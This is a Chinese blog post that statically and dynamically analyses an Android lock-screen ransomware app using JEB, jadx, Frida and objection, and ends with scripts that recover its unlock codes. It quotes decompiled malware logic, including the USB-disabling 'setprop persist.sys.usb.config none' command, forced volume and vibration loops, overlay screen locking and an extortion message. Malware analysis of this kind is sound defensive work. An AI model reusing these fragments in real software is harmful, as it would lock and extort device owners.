动静态分析之锁机病毒

篇幅有限

完整内容及源码关注公众号:ReverseCode,发送

小试牛刀

创建demo

Android Studio新建demo项目

MainActivity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class MainActivity extends AppCompatActivity {

EditText username_et;
EditText password_et;
TextView message_tv;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

password_et = (EditText) this.findViewById(R.id.editText2);
username_et = (EditText) this.findViewById(R.id.editText);
message_tv = ((TextView) findViewById(R.id.textView));

this.findViewById(R.id.button).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {

if (username_et.getText().toString().compareTo("admin") == 0) {
message_tv.setText("You cannot login as admin");
return;
}
//hook target
message_tv.setText("Sending to the server :" + Base64.encodeToString((username_et.getText().toString() + ":" + password_et.getText().toString()).getBytes(), Base64.DEFAULT));

for(int i=0;i<100;i++){
Log.i("onejane","now i is"+Integer.valueOf(i));
}
}
});

}
}

activity_main.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<androidx.constraintlayout.widget.ConstraintLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context=".MainActivity">

<LinearLayout
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical">
<TextView
android:id="@+id/textView"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="请输入纯数字"
tools:layout_editor_absoluteX="159dp"
tools:layout_editor_absoluteY="120dp" />

<EditText
android:id="@+id/editText"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:ems="10"
android:inputType="textPersonName"
android:hint="name"
tools:layout_editor_absoluteX="98dp"
tools:layout_editor_absoluteY="196dp" />

<EditText
android:id="@+id/editText2"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:ems="10"
android:inputType="textPersonName"
android:hint="password"
tools:layout_editor_absoluteX="98dp"
tools:layout_editor_absoluteY="313dp" />

<Button
android:id="@+id/button"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Button"
tools:layout_editor_absoluteX="171dp"
tools:layout_editor_absoluteY="428dp" />
</LinearLayout>

</androidx.constraintlayout.widget.ConstraintLayout>

demo

debug启动,点击BUTTON打断点动态调试。

动态调试

查看包名 :dumpsys activity top|grep demo

debug启动应用:adb shell am start -D -n com.example.demo/.MainActivity 使用jeb tab进入smali,ctrl+b附加断点,关闭as,ddms等占用adb应用,jeb开启debug,修改变量类型为string查看变量内容

jeb开启debug

debug查看变量

内存漫游

启动frida:./fs1428arm64

启动app:pm list packages|grep demo

内存漫游:objection -g com.example.demo explore -P /root/.objection/plugins

通过hook关键Base64函数:android hooking watch class_method android.util.Base64.encodeToString --dump-args --dump-backtrace --dump-return

输入username和password点击button操作,抓取内存中android.util.Base64.encodeToString入参及返回

小试牛刀

1
2
3
4
5
6
7
plugin wallbreaker objectsearch com.example.demo.MainActivity  拿到进程地址
plugin wallbreaker objectdump --fullname 0x22d6 动态查看对象属性
plugin wallbreaker classdump --fullname com.example.demo.MainActivity 动态查看内存中的MainActivity
plugin wallbreaker classdump --fullname androidx.appcompat.app.AppCompatActivity
apktool d demo.apk 解包
thunar demo/smali/com/example/demo/MainActivity.smali 查看smali
mousepad demo/smali/com/example/demo/MainActivity.smali

AndroidManifest.xml debuggable属性,意为“可调试”,有true和false两种模式。android:debuggable=”true”,不可调试应用可通过xdebuggable模块实现jeb无源码调试smali。

如果打包的是debug版本的apk文件,那么这个debuggable属性就自动设置为true,反之,如果打包的是release版本的apk文件,那么这个debuggable属性就自动设置为false

使用jeb打开zhibo.apk,jeb开启debug attach com.hd.zhibo

1
2
dumpsys activity top|grep zhibo 
adb shell am start -D -n com.hd.zhibo/com.zhibo.media.channel_main 使用debug启动应用

Kali Linux里的as4的DDMS启动失败,原因是要用as自带的jre来启动,直接./monitor用的是Kali系统的jdk,版本太高了

1
2
ln -s  /root/Desktop/android-studio/jre/ /root/Android/Sdk/tools/lib/monitor-x86_64/
cd /root/Android/Sdk/tools/lib/monitor-x86_64/ && ./monitor

点击Dump View Hierarchy for UI Automator,定位到元素所属类

查看元素所属类

辅助增强工具

Hierarchy View

Open Perspective 打开Hierarchy View中的View 可以快速定位到AdView,拿到子类zzbbq即可hook该方法,使用jeb定位搜索zzbbq,干掉广告组件。

锁机病毒

换不锈钢脸盆

adb install yry-1.0.apk 启动app后,场面异常血腥,不忍直视。

  • 背景图片和背景音乐极其不健康
  • 音量被调到最大,循环播放,且无法关闭
  • 屏幕被锁定,无法进行任何操作
  • usb断开
  • 开机自动启动
  • 手机持续震动

通过移动安全威胁数据平台检测得知app开启了以下权限

申请权限

不解释连招

打开源码分析,好家伙吗,我直接好家伙!!!充满了对家人的亲切问候,名字挺好听,人干的事一点都不沾边。

问候家人

气的我又买了个手机,重新装上该app,上去就是frida+objection+jeb+jadx动静态分析一套不解释组合连招直接带走。

静态分析

通过jadx反编译AndroidManifest.xml中看到大片的uses-permission申请权限,以及对广播的receiver中申请的action,用于监听广播自启动调用action,妙啊,后续一系列的病毒实现广播监听就是罪魁祸首。

广播监听

不同反编译软件要结合着看,同一个软件不同版本可能结果都不一样,比如jeb3中将解锁加密逻辑判断为

if(颜如玉QQ2693533893.getSaltMD5(MyServiceOne.颜如玉(v2.substring(0, 3))) + v2.substring(3, v2.length()).equals("9DDEB743E935CE399F1DFAF080775366" + v3_1))

不能说逻辑严密吧,可以说是狗屁不通,字符串+布尔值居然还能放到if条件里,giao!!!

  • FloatViewUtil UI工具类
  • MainActivity 入口
  • MyBroadcast 继承自BroadcastReceiver实现启动时调用onReceive
  • MyServiceOne 加解密服务类
  • UsbLock 锁死usb接口

动态分析

1.如何做到adb找不到设备,直接断开连接,无法hook动态分析,也没法DDMS?

UsbLock继承自TimerTask,在重新run方法中执行一句话命令Process exec = Runtime.getRuntime().exec("setprop persist.sys.usb.config none");

方案一:apktool解包后修改smali源码注释掉这行smali指令并编译重打包,keytool制作秘钥库,apksigner重签名安装。

1
2
3
4
5
6
apktool d yry-1.0.apk  解包
cd yry-1.0/smali/com/shimeng/诗梦 && vim USBLock.smali 干掉这一行
const-string v10, "setprop persist.sys.usb.config none"
apktool b yry-1.0 回编译
cd yry-1.0/dist && keytool -genkey -alias abc.keystore -keyalg RSA -validity 20000 -keystore abc.keystore 制作秘钥
jarsigner -verbose -keystore abc.keystore -signedjar new_yry.apk yry-1.0.apk abc.keystore 重签名安装new_yry.apk

方案二:实现安装上termux,启动好frida即可

1
2
3
4
5
6
7
adb push frida-server-14.2.8-android-x86 /data/local/tmp  赋予最高权限 
adb install com.termux_92.apk
cd /data/local/tmp && chmod 777 * && ./frida-server-14.2.8-android-x86 -l 0.0.0.0:8888 启动frida
pyenv local 3.8.5 切换py版本,保证objection frida版本对应
frida-ps -H 192.168.0.104:8888 | grep shimeng 查找病毒进程确实存在
objection -N -h 192.168.0.104 -p 8888 -g com.shimeng.qq2693533893 explore 开启内存分析
android hooking list classes

2.如何做到无法关闭音量,循环播放富强民主文明和谐的音乐?

1
2
android hooking list services   拿到可hook的方法
android hooking list receivers

查看服务

1
2
plugin wallbreaker classdump com.shimeng.qq2693533893.MyServiceOne --fullname  内存漫游可视化这两个类的源码结构
plugin wallbreaker classdump com.shimeng.qq2693533893.MyBroadcast --fullname
加载wallbreaker

android hooking watch class com.shimeng.qq2693533893.MyServiceOne 通过hook类MyServiceOne 发现MyServiceOne.access$L1000018一直被反复调用

hookMyServiceOne所有方法

android hooking watch class_method com.shimeng.qq2693533893.MyServiceOne.access$L1000018 --dump-backtrace 我们开始hook该内部类并打印调用栈,发现调用栈上层反复调用com.shimeng.qq2693533893.MyServiceOne.access$100000007.run,想必这就是为什么循环播放的原因了,瞄一波反编译源码,soga,该线程获取到系统audio服务后setStreamVolume调高最大音量,vibrator持续震动。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class 100000007 implements Runnable {
private final MyServiceOne this$0;

static MyServiceOne access$0(100000007 arg4) {
return MyServiceOne.this;
}

@Override
public void run() {
MyServiceOne.this.hand2.postDelayed(this, 1800L);
AudioManager v1 = (AudioManager)MyServiceOne.this.getSystemService("audio");
v1.setStreamVolume(3, v1.getStreamMaxVolume(3), 4);
v1.getStreamMaxVolume(0);
v1.getStreamVolume(0);
v1.getStreamVolume(0);
Vibrator v4 = (Vibrator)MyServiceOne.this.getApplication().getSystemService("vibrator");
long[] v5 = new long[4];
new long[4][0] = 100L;
v5[1] = 1500L;
v5[2] = 100L;
v5[3] = 1500L;
v4.vibrate(v5, -1);
}
}

3.如何做到锁屏无法退出?

之前初步分析到疑似UI工具类FloatViewUtil ,在MyServiceOne的m2() sm() sm2()中反复调用,使用frida主动调用FloatViewUtil.removeView() 去掉了锁屏界面,留下空白界面,那么这个空白界面才是真正的activity。

在createfloatview中调用了this.wm.addView(this.v, this.w);,原来是借助WindowManager显示一个全屏置顶的浮窗锁定了屏幕,public void addView(View view, ViewGroup.LayoutParams params);用this.w封装参数flags判断是否取消悬浮窗,每次触摸屏幕调用OnTouchListener后更新this.this$0.wm.updateViewLayout(view2, this.this$0.w);,保持原样,所以锁屏无法操作,除了调用系统库WindowManager.removeView()别无他法。

4.如何做到开机启动并关闭也能复活?

之前分析AndroidManifest.xml时发现MyBroadcast继承BroadcastReceiver监听了BOOT_COMPLETED启动方法实现onReceive。其中通过if (intent2.getAction() != null) {实现context4.startService(intent5),通过if (Intent.ACTION_SCREEN_ON.equals(intent2.getAction()) && intent2.getAction() != null) {实现context5.startActivity(intent7),startService启动的service进程用户不可见,且不会被杀死,除非系统内存不足一保持前台进程和可视进程,这也太tm适合做自启服务了!!!当主动调用拿掉app的强制悬浮时,看到后台依旧有一个MyServiceOne服务偷偷运行,强制kill该进程后,果然不会再次复活了。哦!原来这就是惊喜啊!

KO

这个病毒已经被我们开膛破肚了,但是好像从开发角度分析没有太多成就感,那么就硬肛吧!!!伤害高而且侮辱性极强!!!

之前hook MyServiceOne打印出了内存中所有的类名,由于输入密码需要点击那么就需要onClick,搜索jeb2中发现100000002,100000003,100000006三个匿名内部类中实现了View$OnClickListener的onClick方法,那么先从100000002开肛吧!

一层解锁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@Override public void onClick(View arg15) {
100000002 v0 = this;
String v2 = v0.val$editText.getText().toString();
if(v2.length() >= 3) {
String v3 = MyServiceOne.颜如玉(颜如玉QQ2693533893.getSaltMD5(new StringBuffer().append("").append(v0.val$诗梦).toString())).replaceAll("\\D+", "");
if(v3.length() > 9 && v3.length() > 3) {
if(new StringBuffer().append(颜如玉QQ2693533893.getSaltMD5(MyServiceOne.颜如玉(v2.substring(0, 3)))).append(v2.substring(3, v2.length())).toString().equals(new StringBuffer().append("9DDEB743E935CE399F1DFAF080775366").append(v3.substring(0, 9)).toString())) {
v0.this$0.util.removeView();
v0.this$0.sm2();
}
else {
--v0.this$0.L;
++v0.this$0.B;
v0.val$lpo.setText(new StringBuffer().append(new StringBuffer().append(new StringBuffer().append(new StringBuffer().append(new StringBuffer().append("很抱歉!密码错误解锁请加QQ群:437732815联系管理员购买正确的密码解锁...密码以错").append(v0.this$0.B).toString()).append("次!").toString()).append("还剩").toString()).append(v0.this$0.L).toString()).append("次输入错误密码的机会").toString());
if(v0.this$0.L <= 0) {
v0.val$lpo.setText("本次输入密码错误次数累计以达10次,请重启手机后获取输入密码机会!");
v0.val$button.setVisibility(8);
v0.val$textView2.setVisibility(8);
v0.val$editText.setVisibility(8);
v0.val$a00.setVisibility(8);
v0.val$b00.setVisibility(8);
v0.val$c00.setVisibility(8);
v0.val$d00.setVisibility(8);
}
}
}
}
}

使用jeb2反编译拿到100000002中解锁的逻辑,那么v2必定是我们输入的字符串,当长度大于3时调用MyServiceOne.颜如玉方法,那么就hook这个颜如玉

android hooking watch class_method com.shimeng.qq2693533893.MyServiceOne.颜如玉 --dump-args --dump-backtrace --dump-return

点击解锁log

打印调用栈果然调用了onClick方法,页面弹出很抱歉!密码错误解锁等恰好是onClick中解锁失败返回的信息

First

在sm()方法中拿到生成识别码的逻辑,跟进去原来是随机四位数做了火星文对应,在100000002构造函数中this.val$诗梦 = arg17;就是随机四位数v11 ^ 1288,,所以才显示在前台页面是火星文,那么我们首先通过hook颜如玉QQ2693533893.get()拿到四位数对应的该火星文

1
2
3
int v11 = ((int)(Math.random() * (((double)9876))));
v4.setText(new StringBuffer().append("你的识别码=").append(颜如玉QQ2693533893.get(new StringBuffer().append("").append(v11).toString())).toString());
v3.setOnClickListener(new 100000002(this, v5, v11 ^ 1288, v6, v3, v4, v7, v8, v9, v10));

接着分析onClick方法可知随机四位数被作为参数给了getSaltMD5,那么我们可以通过反射和四位数拿到v3的值。

1
2
3
4
5
String v3 = MyServiceOne.颜如玉(颜如玉QQ2693533893.getSaltMD5(new StringBuffer().append("").append(v0.val$诗梦).toString())).replaceAll("\\D+", "");
if(new StringBuffer().append(颜如玉QQ2693533893.getSaltMD5(MyServiceOne.颜如玉(v2.substring(0, 3)))).append(v2.substring(3, v2.length())).toString().equals(new StringBuffer().append("9DDEB743E935CE399F1DFAF080775366").append(v3.substring(0, 9)).toString())) {
v0.this$0.util.removeView();
v0.this$0.sm2();
}

frida脚本编写如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function stage1(){
Java.perform(function(){
var javaString = Java.use('java.lang.String')

for(var i=999;i<10000;i++){
var i_str = javaString.$new(String(i));
var recogCode = Java.use("com.shimeng.颜如玉.颜如玉QQ2693533893").get(i_str);
var final_last9 = Java.use("com.shimeng.qq2693533893.MyServiceOne").颜如玉(Java.use("com.shimeng.颜如玉.颜如玉QQ2693533893").getSaltMD5((javaString.$new(String(i^1288)))));
var final_final_last9 = javaString.$new(final_last9).replaceAll("\\D+", "");

console.log("i_str,recogCode,final_final_last9:",i_str,recogCode,final_final_last9);
if (recogCode == "©©/÷"){ // 5147
break;
}
}

})
}

frida -H 192.168.0.104:8888 -f com.shimeng.qq2693533893 -l yry.js 并运行stage1()拿到四位数,火星文,加密串对应关系

1
2
3
4
5
6
7
8
9
10
11
i_str,recogCode,final_final_last9: 5582 ©©※÷ 95207171906204966108845772
i_str,recogCode,final_final_last9: 5583 ©©※∷ 39716345426943642188517
i_str,recogCode,final_final_last9: 5584 ©©※● 5796073015486055711181
i_str,recogCode,final_final_last9: 5585 ©©※© 4182232792980711126331187
i_str,recogCode,final_final_last9: 5586 ©©※额 99099593856461775560719982
i_str,recogCode,final_final_last9: 5587 ©©※★ 19863461630870460433322044
i_str,recogCode,final_final_last9: 5588 ©©※※ 9011175927236532778650
i_str,recogCode,final_final_last9: 5589 ©©※/ 132271537343570495458138
i_str,recogCode,final_final_last9: 5590 ©©/嘻 7083188607268447436716
i_str,recogCode,final_final_last9: 5591 ©©/❥ 61563069152823766973923722
i_str,recogCode,final_final_last9: 5592 ©©/÷ 50084396538178613588090863

接着分析这个equals大长串,很明显前面字符串md5(颜如玉(输入串(0,3)))+输入串(3,).equals(“9DDEB743E935CE399F1DFAF080775366”+加密串前9位)

众所周知,MD5是128位二进制位,一位16进制数=4位二进制数,以16进制显示为32位字符串,那么md5(颜如玉(输入串(0,3))) === “9DDEB743E935CE399F1DFAF080775366”,且输入串(3,)=加密串前9位。

通过剥离反编译后的算法,拿到输入串前3位为358,加上输入串(3,)即加密串前9位500843965===》输入串v2=358500843965 一giao我里giaogiao

二层解锁

giao中计了

Second

耐心分析,原来只是故技重施,雕虫小技而已,随机数从四位变成了五位,加密方法修改了下而已。

1
2
3
4
5
String v3 = 颜如玉QQ2693533893.hex_sha1(MyServiceOne.破解死妈.getTwiceMD5ofString(new StringBuffer().append("").append(v0.val$u2).toString())).replaceAll("\\D+", "");
if(v3.length() > 9 && v3.length() > 3 && (new StringBuffer().append(MyServiceOne.破解死妈.getTwiceMD5ofString(颜如玉QQ2693533893.hex_sha1(v2.substring(0, 3)))).append(v2.substring(3, v2.length())).toString().equals(new StringBuffer().append("8D4FF507DCDA63C201EB8B99D4170900").append(v3.substring(0, 9)).toString()))) {
v0.this$0.util.removeView();
v0.this$0.诗梦();
}

同样的方式,修改frida脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function stage2(){
Java.perform(function(){
var QQinstance = null;
Java.choose("com.shimeng.颜如玉.颜如玉QQ2693533893",{
onMatch:function(instance){
console.log("found instance :",instance);
QQinstance = instance;
},onComplete:function(){console.log("search Competed!")}
})
console.log("QQinstance is :",QQinstance)

var javaString = Java.use('java.lang.String')
for (var i = 9999;i<100000;i++){
var i_str = javaString.$new(String(i));
var recogCode = Java.use("com.shimeng.颜如玉.颜如玉QQ2693533893").get(i_str);
var final_right9 = Java.use("com.shimeng.颜如玉.颜如玉QQ2693533893").hex_sha1(QQinstance.getTwiceMD5ofString(i_str));
var finalFinalright9 = javaString.$new(final_right9).replaceAll("\\D+", "");
console.log("i_str,recogCode,finalFinalright9",i_str,recogCode,finalFinalright9)

if (recogCode == "※嘻额❥/"){ // 98074
break;
}

}

})
}

frida -H 192.168.0.104:8888 -f com.shimeng.qq2693533893 -l yry.js 并运行stage2()拿到四位数,火星文,加密串对应关系

1
2
3
4
5
6
i_str,recogCode,finalFinalright9 80614 ※嘻额❥● 387001687403591151857740
i_str,recogCode,finalFinalright9 80615 ※嘻额❥© 82202783102877783960515732
i_str,recogCode,finalFinalright9 80616 ※嘻额❥额 20062102770068853202687179
i_str,recogCode,finalFinalright9 80617 ※嘻额❥★ 13702574120572139433375947
i_str,recogCode,finalFinalright9 80618 ※嘻额❥※ 681123636848227458618110944
i_str,recogCode,finalFinalright9 80619 ※嘻额❥/ 93184320701127896024850

拿到输入串v2=694931843207 一giao我里giaogiao

三层解锁

giao又双叒叕中计了

Third

耐心分析,jeb2反编译发现这次不是故技重施,而是要放大招了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@Override public void onClick(View arg12) {
100000006 v0 = this;
new Thread(new 100000004(v0)).start();
if(颜如玉QQ2693533893.hex_sha1("破解死妈").equals(v0.this$0.坐等前往世界的尽头的小船)) {
v0.this$0.util.removeView();
new Timer().schedule(new 100000005(v0), ((long)1500));
}
else if(颜如玉QQ2693533893.hex_sha1(v0.val$fuck.getText().toString()).equals(v0.this$0.坐等前往世界的尽头的小船)) {
v0.this$0.util.removeView();
}
else {
v0.this$0.解锁.setVisibility(0);
v0.this$0.解锁.setText(new StringBuffer().append(new StringBuffer().append("密码错误,手机恢复正常失败").append("/n").toString()).append("Manifest-Version: 1.0Created-By: 1.0 (Android SignApk)").toString());
v0.this$0.hand3.postDelayed(v0.this$0.runn3, ((long)2000));
}
}

这次输入的值经过hex_sha1后要和变量v0.this$0.坐等前往世界的尽头的小船一致才行,通过smali插桩打印log重打包或者通过hook String的equals方法得知这个变量居然为空,也就是无论如何也不可能解开了,这局又是逆风局。

smali插桩:

通过Android逆向助手反编译apk中的dex,找到指定方法所在的smali文件,打印变量处添加log,将crack.smali放到com同级目录下,log打印使用方式

1
2
3
4
5
6
7
8
输出byte
invoke-static {v*}, Lcrack;->convertByteArrayToString([B)Ljava/lang/String;

输出string
invoke-static {v*}, Lcrack;->log(Ljava/lang/String;)V

输出tag
==Debug-Info==

将classes目录通过Android逆向助手重打包dex,不解压原apk并生成的dex直接替换原apk中的classes.dex并安装改过的apk

全局搜索坐等前往世界的尽头的小船发现这是个全局变量,在内部类100000006的内部类100000004中存在赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@Override public void run() {
100000001 v0 = this;
100000001 v4 = v0;
try {
String v1 = v4.this$0.独自走在孤独的雨中("https://www.lanzous.com/b897189");
String v2 = v1.substring(v1.indexOf("【"), v1.indexOf("】")).replace("【", "");
if("".equals(v2)) {
return;
}

v0.this$0.smsOpera(v2);
}
catch(Exception v4_1) {
}
}

独自走在孤独的雨中是一个http请求工具类,返回请求结果,那么打开这个地址需要输入密码,看起来应该是作者会给到倒霉蛋的密码,然后输入即可拿到子串,请求不听的向该地址发送,知道拿到子串后smsOpera发送短信,即可给内存中变量v0.this$0.坐等前往世界的尽头的小船赋值,那么新机词挖一此莫bai禾多此!

1
2
3
4
5
6
7
8
9
10
11
12
13
function stage3(){
Java.perform(function(){
var javaString = Java.use('java.lang.String')
var ikey = javaString.$new(String(123456))
var ikeySign = Java.use("com.shimeng.颜如玉.颜如玉QQ2693533893").hex_sha1(ikey)
Java.choose("com.shimeng.qq2693533893.MyServiceOne",{
onMatch:function(instance){
console.log("found instance",instance)
instance.坐等前往世界的尽头的小船.value = ikeySign;
},onComplete(){console.log("search completed!")}
})
})
}

frida -H 192.168.0.104:8888 -f com.shimeng.qq2693533893 -l yry.js 并运行stage3()利用frida在内存中给坐等前往世界的尽头的小船进行赋值,再输入123456,终于解锁。

我是J,一个让你沉迷于技术的讲述者。

文章作者: J
文章链接: http://onejane.github.io/2021/02/05/动静态分析之锁机病毒/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 万物皆可逆向
支付宝打赏
微信打赏